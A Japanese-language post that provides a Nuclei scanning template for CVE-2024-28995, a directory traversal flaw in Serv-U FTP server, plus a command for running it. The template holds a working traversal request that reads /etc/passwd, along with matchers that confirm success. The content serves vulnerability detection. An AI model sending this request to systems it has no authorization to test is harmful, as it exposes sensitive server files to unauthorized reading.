
Nucleiテンプレート: CVE-2024-28995を検出するためのものです。これはServ-U FTPサーバにおけるディレクトリトラバーサル脆弱性であり、巧妙に細工されたHTTPリクエストを介してファイル読み取りを可能にします。
Serv-U バージョン 15.4.2 以下におけるディレクトリトラバーサル脆弱性をチェックし、/etc/passwd などの機密ファイルを読み取ることができるかを確認します。
id: CVE-2024-28995
info:
name: Serv-U Directory Traversal Vulnerability
author: Hüseyin TINTAŞ
severity: high
description: Checks for directory traversal vulnerability in Serv-U versions 15.4.2 and below, which allows reading sensitive files like /etc/passwd.
reference:
- https://attackerkb.com/topics/2k7UrkHyl3/cve-2024-28995/rapid7-analysis
tags: pathtraversal,cve,high,serv-u
requests:
- method: GET
path:
- "{{BaseURL}}/?InternalDir=\\..\\..\\..\\..\\etc^&InternalFile=passwd"
matchers-condition: and
matchers:
- type: word
words:
- "root:x:"
- "daemon:x:"
- "bin:x:"
part: body
- type: status
status:
- 200
- type: word
words:
- "Server: Serv-U"
part: header
このテンプレートを Nuclei で使用するには、テンプレート内容を CVE-2024-28995.yaml というファイルに保存し、以下のコマンドを実行します:
nuclei -t CVE-2024-28995.yaml -u <target-url>
<target-url> はスキャン対象の URL に置き換えてください。
お問い合わせや詳細情報については、以下の方法でご連絡ください: